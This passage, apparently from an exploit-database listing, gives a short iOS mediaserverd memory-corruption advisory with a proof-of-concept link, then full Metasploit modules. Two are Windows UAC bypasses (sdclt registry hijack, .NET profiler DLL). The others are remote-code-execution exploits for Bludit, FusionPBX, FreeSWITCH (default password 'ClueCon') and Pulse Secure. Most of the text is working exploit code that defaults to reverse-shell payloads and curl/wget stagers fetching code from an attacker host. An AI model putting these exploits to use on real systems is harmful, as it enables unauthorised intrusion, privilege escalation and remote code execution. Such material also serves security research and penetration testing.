*outBuffer); The docs tell us the meaning of the ioNumBytes and outBuffer arguments: ioNumBytes On input, the size of the outBuffer parameter, in bytes. On output, the number of bytes actually read. outBuffer Memory that you allocate to hold the read packets. Determine an appropriate size by multiplying the number of packets requested (in the ioNumPackets parameter) by the typical packet size for the audio data in the file. For uncompressed audio formats, a packet is equal to a frame. For the purposes of the bug this function has memcpy semantics; the value pointed to by ioNumBytes will be considered the correct size of the output buffer; AudioFileReadPacketData will be unable to verify that; it's up to the caller. Looking at the code which calls this the values are derived from three values passed in the 'read' xpc message: numbytes (uint64), numpackets (uint64), startingPacket (int64) Those values are truncated to 32 bits then passed through a few layers of function calls during which various integer overflow occur when they're multiplied and added (there are no checks anywhere.) You eventually end up in a curious allocation routine which is able to allocate three different types of shared memory using either mach memory entries, posix shm or xpc_shmem. This service uses posix_shm, the PoC should cause mediaserverd to shm_truncate and mmap a 0x4000 byte region, then attempt to write significantly more bytes there. In the debug_output.txt file you can see the debug output and crash log demonstrating that audio data has clearly corrupted an object and caused a pointer to be overwritten with audio data. Tested on iOS 12.4 (16G77) on iPod touch 6G Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47694.zip
  8. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Post::Windows::Priv include Post::Windows::Runas def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)', 'Description' => %q( This module will bypass Windows UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when Window backup and restore is launched. It will spawn a second shell that has the UAC flag turned off. This module modifies a registry key, but cleans up the key once the payload has been invoked. ), 'License' => MSF_LICENSE, 'Author' => [ 'enigma0x3', # UAC bypass discovery and research 'bwatters-r7', # Module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ] }, 'References' => [ ['URL', 'https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/'], ['URL', 'https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-SDCLTBypass.ps1'], ['URL', 'https://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass'] ], 'DisclosureDate' => 'Mar 17 2017' ) ) register_options( [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] ) end def check if sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|10)/ && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def write_reg_values(registry_key, payload_pathname) begin registry_createkey(registry_key) unless registry_key_exist?(registry_key) registry_setvaldata(registry_key, "DelegateExecute", '', "REG_SZ") registry_setvaldata(registry_key, '', payload_pathname, "REG_SZ") rescue ::Exception => e print_error(e.to_s) end end def exploit check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end registry_key = 'HKCU\Software\Classes\Folder\shell\open\command' remove_registry_key = !registry_key_exist?(registry_key) # get directory locations straight win_dir = session.sys.config.getenv('windir') vprint_status("win_dir = " + win_dir) tmp_dir = session.sys.config.getenv('tmp') vprint_status("tmp_dir = " + tmp_dir) exploit_dir = win_dir + "\\System32\\" vprint_status("exploit_dir = " + exploit_dir) target_filepath = exploit_dir + "sdclt.exe" vprint_status("exploit_file = " + target_filepath) # make payload payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(6..14) + '.exe' payload_pathname = tmp_dir + '\\' + payload_name vprint_status("payload_pathname = " + payload_pathname) vprint_status("Making Payload") payload = generate_payload_exe reg_command = exploit_dir + "cmd.exe /c start #{payload_pathname}" vprint_status("reg_command = " + reg_command) write_reg_values(registry_key, reg_command) # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) vprint_status("Payload Upload Complete") vprint_status("Launching " + target_filepath) begin session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) rescue ::Exception => e print_error("Executing command failed:\n#{e}") end print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") # wait for a few seconds before cleaning up print_status("Please wait for session and cleanup....") sleep(20) vprint_status("Removing Registry Changes") if remove_registry_key registry_deletekey(registry_key) else registry_deleteval(registry_key, "DelegateExecute") registry_deleteval(registry_key, '') end print_status("Registry Changes Removed") end def check_permissions! unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin # is_in_admin_group can be nil, true, or false print_status('UAC is Enabled, checking level...') vprint_status('Checking admin status...') case is_in_admin_group? when true print_good('Part of Administrators group! Continuing...') if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end when false fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') when nil print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') end end end
  9. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Post::Windows::Priv include Post::Windows::Runas def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)', 'Description' => %q( Microsoft Windows allows for the automatic loading of a profiling COM object during the launch of a CLR process based on certain environment variables ostensibly to monitor execution. In this case, we abuse the profiler by pointing to a payload DLL that will be launched as the profiling thread. This thread will run at the permission level of the calling process, so an auto-elevating process will launch the DLL with elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR process, but others would work, too. ), 'License' => MSF_LICENSE, 'Author' => [ 'Casey Smith', # UAC bypass discovery and research '"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research 'bwatters-r7', # Module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'References' => [ ['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'], ['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html'] ], 'DisclosureDate' => 'Mar 17 2017' ) ) register_options( [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] ) end def check if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def write_reg_value(registry_hash) vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") begin if not registry_key_exist?(registry_hash[:key_name]) registry_createkey(registry_hash[:key_name]) registry_hash[:delete_on_cleanup] = true else registry_hash[:delete_on_cleanup] = false end registry_setvaldata(registry_hash[:key_name], \ registry_hash[:value_name], \ registry_hash[:value_value], \ registry_hash[:value_type]) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end end def remove_reg_value(registry_hash) # we may have already deleted the key return unless registry_key_exist?(registry_hash[:key_name]) begin if registry_hash[:delete_on_cleanup] vprint_status("Deleting #{registry_hash[:key_name]} key") registry_deletekey(registry_hash[:key_name]) else vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key") registry_deleteval(registry_hash[:key_name], registry_hash[:value_name]) end rescue Rex::Post::Meterpreter::RequestError => e print_bad("Unable to clean up registry") print_error(e.to_s) end end def exploit check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end # get directory locations straight win_dir = session.sys.config.getenv('windir') vprint_status("win_dir = " + win_dir) tmp_dir = session.sys.config.getenv('tmp') vprint_status("tmp_dir = " + tmp_dir) exploit_dir = win_dir + "\\System32\\" vprint_status("exploit_dir = " + exploit_dir) target_filepath = exploit_dir + "gpedit.msc" vprint_status("target_filepath = " + target_filepath) payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll' payload_pathname = tmp_dir + '\\' + payload_name # make payload vprint_status("Making Payload") vprint_status("payload_pathname = " + payload_pathname) payload = generate_payload_dll uuid = SecureRandom.uuid vprint_status("UUID = #{uuid}") reg_keys = [] # This reg key will not hurt anything in windows 10+, but is not required. unless sysinfo['OS'] =~ /Windows (2016|10)/ reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32", value_name: '', value_type: "REG_EXPAND_SZ", value_value: payload_pathname, delete_on_cleanup: false) end reg_keys.push(key_name: "HKCU\\Environment", value_name: "COR_PROFILER", value_type: "REG_SZ", value_value: "{#{uuid}}", delete_on_cleanup: false) reg_keys.push(key_name: "HKCU\\Environment", value_name: "COR_ENABLE_PROFILING", value_type: "REG_SZ", value_value: "1", delete_on_cleanup: false) reg_keys.push(key_name: "HKCU\\Environment", value_name: "COR_PROFILER_PATH", value_type: "REG_SZ", value_value: payload_pathname, delete_on_cleanup: false) reg_keys.each do |key_hash| write_reg_value(key_hash) end # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) vprint_status("Payload Upload Complete") vprint_status("Launching " + target_filepath) begin session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") # wait for a few seconds before cleaning up print_status("Please wait for session and cleanup....") sleep(20) vprint_status("Removing Registry Changes") reg_keys.each do |key_hash| remove_reg_value(key_hash) end vprint_status("Registry Changes Removed") end def check_permissions! unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin # is_in_admin_group can be nil, true, or false print_status('UAC is Enabled, checking level...') vprint_status('Checking admin status...') admin_group = is_in_admin_group? if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end end
  10. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE include Msf::Exploit::FileDropper include Msf::Auxiliary::Report def initialize(info={}) super(update_info(info, 'Name' => "Bludit Directory Traversal Image File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability in Bludit. A remote user could abuse the uuid parameter in the image upload feature in order to save a malicious payload anywhere onto the server, and then use a custom .htaccess file to bypass the file extension check to finally get remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'christasa', # Original discovery 'sinn3r' # Metasploit module ], 'References' => [ ['CVE', '2019-16113'], ['URL', 'https://github.com/bludit/bludit/issues/1081'], ['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Notes' => { 'SideEffects' => [ IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ CRASH_SAFE ] }, 'Targets' => [ [ 'Bludit v3.9.2', {} ] ], 'Privileged' => false, 'DisclosureDate' => "2019-09-07", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']), OptString.new('BLUDITUSER', [true, 'The username for Bludit']), OptString.new('BLUDITPASS', [true, 'The password for Bludit']) ]) end class PhpPayload attr_reader :payload attr_reader :name def initialize(p) @payload = p @name = "#{Rex::Text.rand_text_alpha(10)}.png" end end class LoginBadge attr_reader :username attr_reader :password attr_accessor :csrf_token attr_accessor :bludit_key def initialize(user, pass, token, key) @username = user @password = pass @csrf_token = token @bludit_key = key end end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php') }) unless res vprint_error('Connection timed out') return CheckCode::Unknown end html = res.get_html_document generator_tag = html.at('meta[@name="generator"]') unless generator_tag vprint_error('No generator metadata tag found in HTML') return CheckCode::Safe end content_attr = generator_tag.attributes['content'] unless content_attr vprint_error("No content attribute found in metadata tag") return CheckCode::Safe end if content_attr.value == 'Bludit' return CheckCode::Detected end CheckCode::Safe end def get_uuid(login_badge) print_status('Retrieving UUID...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};" }) unless res fail_with(Failure::Unknown, 'Connection timed out') end html = res.get_html_document uuid_element = html.at('input[@name="uuid"]') unless uuid_element fail_with(Failure::Unknown, 'No UUID found in admin/new-content/') end uuid_val = uuid_element.attributes['value'] unless uuid_val && uuid_val.respond_to?(:value) fail_with(Failure::Unknown, 'No UUID value') end uuid_val.value end def upload_file(login_badge, uuid, content, fname) print_status("Uploading #{fname}...") data = Rex::MIME::Message.new data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"") data.add_part(uuid, nil, nil, 'form-data; name="uuid"') data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", 'headers' => {'X-Requested-With' => 'XMLHttpRequest'}, 'data' => data.to_s }) unless res fail_with(Failure::Unknown, 'Connection timed out') end end def upload_php_payload_and_exec(login_badge) # From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/ # To: /var/www/html/bludit/bl-content/tmp uuid = get_uuid(login_badge) php_payload = get_php_payload upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name) # On the vuln app, this line occurs first: # Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename); # Even though there is a file extension check, it won't really stop us # from uploading the .htaccess file. htaccess = <<~HTA RewriteEngine off AddType application/x-httpd-php .png HTA upload_file(login_badge, uuid, htaccess, ".htaccess") register_file_for_cleanup('.htaccess') print_status("Executing #{php_payload.name}...") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name) }) end def get_php_payload @php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true)) end def get_login_badge(res) cookies = res.get_cookies bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || '' html = res.get_html_document csrf_element = html.at('input[@name="tokenCSRF"]') unless csrf_element fail_with(Failure::Unknown, 'No tokenCSRF found') end csrf_val = csrf_element.attributes['value'] unless csrf_val && csrf_val.respond_to?(:value) fail_with(Failure::Unknown, 'No tokenCSRF value') end LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key) end def do_login res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') }) unless res fail_with(Failure::Unknown, 'Connection timed out') end login_badge = get_login_badge(res) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", 'vars_post' => { 'tokenCSRF' => login_badge.csrf_token, 'username' => login_badge.username, 'password' => login_badge.password } }) unless res fail_with(Failure::Unknown, 'Connection timed out') end # A new csrf value is generated, need to update this for the upload if res.headers['Location'].to_s.include?('/admin/dashboard') store_valid_credential(user: login_badge.username, private: login_badge.password) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'), 'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};", }) unless res fail_with(Failure::Unknown, 'Connection timed out') end new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first login_badge.csrf_token = new_csrf if new_csrf return login_badge end fail_with(Failure::NoAccess, 'Authentication failed') end def exploit login_badge = do_login print_good("Logged in as: #{login_badge.username}") upload_php_payload_and_exec(login_badge) end end
  11. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'FusionPBX Operator Panel exec.php Command Execution', 'Description' => %q{ This module exploits an authenticated command injection vulnerability in FusionPBX versions 4.4.3 and prior. The `exec.php` file within the Operator Panel permits users with `operator_panel_view` permissions, or administrator permissions, to execute arbitrary commands as the web server user by sending a `system` command to the FreeSWITCH event socket interface. This module has been tested successfully on FusionPBX version 4.4.1 on Ubuntu 19.04 (x64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Dustin Cobb', # Discovery and exploit 'bcoles' # Metasploit ], 'References' => [ ['CVE', '2019-11409'], ['EDB', '46985'], ['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'], ['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611'] ], 'Platform' => %w[unix linux], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, 'CmdStagerFlavor' => %w[curl wget], 'Targets' => [ ['Automatic (Unix In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, 'Type' => :unix_memory ], ['Automatic (Linux Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, 'Type' => :linux_dropper ] ], 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'DisclosureDate' => '2019-06-06', 'DefaultTarget' => 0)) register_options [ OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']), OptString.new('USERNAME', [true, 'The username for FusionPBX']), OptString.new('PASSWORD', [true, 'The password for FusionPBX']) ] end def login(user, pass) vprint_status "Authenticating as user '#{user}'" vars_post = { username: user, password: pass, path: '' } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'), 'vars_post' => vars_post }) unless res fail_with Failure::Unreachable, 'Connection failed' end if res.code == 302 && res.headers['location'].include?('login.php') fail_with Failure::NoAccess, "Login failed for user '#{user}'" end unless res.code == 200 fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" end cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first unless cookie fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie' end print_good "Authenticated as user '#{user}'" cookie end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res vprint_error 'Connection failed' return CheckCode::Unknown end if res.body.include?('FusionPBX') return CheckCode::Detected end CheckCode::Safe end def execute_command(cmd, opts = {}) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'), 'cookie' => "PHPSESSID=#{@cookie}", 'vars_get' => {'cmd' => "bg_system #{cmd}"} }, 5) unless res return if session_created? fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}" end if res.body.include? 'access denied' fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel" end res end def exploit unless check == CheckCode::Detected fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable" end @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) print_status "Sending payload (#{payload.encoded.length} bytes) ..." case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager(:linemax => 1_500) end end end
  12. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'FreeSWITCH Event Socket Command Execution', 'Description' => %q{ This module uses the FreeSWITCH event socket interface to execute system commands using the `system` API command. The event socket service is enabled by default and listens on TCP port 8021 on the local network interface. This module has been tested successfully on FreeSWITCH versions: 1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64). }, 'License' => MSF_LICENSE, 'Author' => ['bcoles'], 'References' => [ ['CWE', '260'], # default password, configurable in event_socket.conf.xml ['URL', 'https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket'] ], 'Platform' => %w[win linux unix bsd], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"}, 'CmdStagerFlavor' => %w[curl wget certutil vbs], 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, 'Type' => :unix_memory ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'}, 'Type' => :linux_dropper ], ['PowerShell (In-Memory)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, 'Type' => :psh_memory ], ['Windows (In-Memory)', 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/reverse_powershell'}, 'Type' => :win_memory ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}, 'Type' => :win_dropper ] ], 'Privileged' => false, 'DefaultOptions' => { 'RPORT' => 8021 }, 'DisclosureDate' => '2019-11-03', 'DefaultTarget' => 0)) register_options [ OptString.new('PASSWORD', [true, 'FreeSWITCH event socket password', 'ClueCon']) ] end def check connect banner = sock.get_once.to_s disconnect if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection') vprint_error 'Access denied by network ACL' return CheckCode::Safe end unless banner.include?('Content-Type: auth/request') return CheckCode::Safe end CheckCode::Appears end def auth(password) sock.put "auth #{password}\n\n" res = sock.get_once.to_s unless res.include? 'Content-Type: command/reply' fail_with Failure::UnexpectedReply, 'Unexpected reply' end unless res.include?('Reply-Text: +OK accepted') fail_with Failure::NoAccess, 'Login failed' end print_status 'Login success' end def execute_command(cmd, opts = {}) api_function = opts[:foreground] ? 'system' : 'bg_system' sock.put "api #{api_function} #{cmd}\n\n" res = sock.get_once.to_s unless res.include? 'Content-Type: api/response' fail_with Failure::UnexpectedReply, 'Unexpected reply' end vprint_status "Response: #{res}" end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end connect banner = sock.get_once.to_s auth(datastore['PASSWORD']) print_status "Sending payload (#{payload.encoded.length} bytes) ..." case target['Type'] when :unix_memory if datastore['PAYLOAD'] == 'cmd/unix/generic' execute_command(payload.encoded, foreground: true) else execute_command(payload.encoded) end when :win_memory if datastore['PAYLOAD'] == 'cmd/windows/generic' execute_command(payload.encoded, foreground: true) else execute_command(payload.encoded) end when :psh_memory execute_command( cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) ) when :linux_dropper execute_cmdstager(:linemax => 1_500) when :win_dropper execute_cmdstager(:linemax => 1_500) end ensure disconnect unless sock.nil? end end
  13. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Pulse Secure VPN Arbitrary Command Execution', 'Description' => %q{ This module exploits a post-auth command injection in the Pulse Secure VPN server to execute commands as root. The env(1) command is used to bypass application whitelisting and run arbitrary commands. Please see related module auxiliary/gather/pulse_secure_file_disclosure for a pre-auth file read that is able to obtain plaintext and hashed credentials, plus session IDs that may be used with this exploit. A valid administrator session ID is required in lieu of untested SSRF. }, 'Author' => [ 'Orange Tsai', # Discovery (@orange_8361) 'Meh Chang', # Discovery (@mehqq_) 'wvu' # Module ], 'References' => [ ['CVE', '2019-11539'], ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'], ['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'], ['URL', 'https://hackerone.com/reports/591295'] ], 'DisclosureDate' => '2019-04-24', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => true, 'Targets' => [ ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'Payload' => { 'BadChars' => %Q(&*(){}[]`;|?\n~<>"'), 'Encoder' => 'generic/none' # Force manual badchar analysis }, 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'} ], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'} ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'CMDSTAGER::SSL' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'RelatedModules' => ['auxiliary/gather/pulse_secure_file_disclosure'] } )) register_options([ OptString.new('SID', [true, 'Valid admin session ID']) ]) end def post_auth? true end def exploit get_csrf_token print_status("Executing #{target.name} target") case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager( flavor: :curl, noconcat: true ) end end def get_csrf_token @cookie = "DSID=#{datastore['SID']}" print_good("Setting session cookie: #{@cookie}") print_status('Obtaining CSRF token') res = send_request_cgi( 'method' => 'GET', 'uri' => diag_cgi, 'cookie' => @cookie ) unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body)) fail_with(Failure::NoAccess, 'Session cookie expired or invalid') end print_good("CSRF token: #{@csrf_token}") end def parse_csrf_token(body) body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first end def execute_command(cmd, _opts = {}) # Prepend absolute path to curl(1), since it's not in $PATH cmd.prepend('/home/bin/') if cmd.start_with?('curl') # Bypass application whitelisting with permitted env(1) cmd.prepend('env ') vprint_status("Executing command: #{cmd}") print_status("Yeeting exploit at #{full_uri(diag_cgi)}") res = send_request_cgi( 'method' => 'GET', 'uri' => diag_cgi, 'cookie' => @cookie, 'vars_get' => { 'a' => 'td', # tcpdump 'options' => sploit(cmd), 'xsauth' => @csrf_token, 'toggle' => 'Start Sniffing' } ) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Could not yeet exploit') end print_status("Triggering payload at #{full_uri(setcookie_cgi)}") res = send_request_cgi({ 'method' => 'GET', 'uri' => setcookie_cgi }, 3.1337) # 200 response code, yet 500 error in body unless res && res.code == 200 && !res.body.include?('500 Internal Error') print_warning('Payload execution may have failed') return end print_good('Payload execution successful') if datastore['PAYLOAD'] == 'cmd/unix/generic' print_line(res.body.sub(/\s*<html>.*/m, '')) end end def sploit(cmd) %(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <) end def diag_cgi '/dana-admin/diag/diag.cgi' end def setcookie_cgi '/dana-na/auth/setcookie.cgi' end end
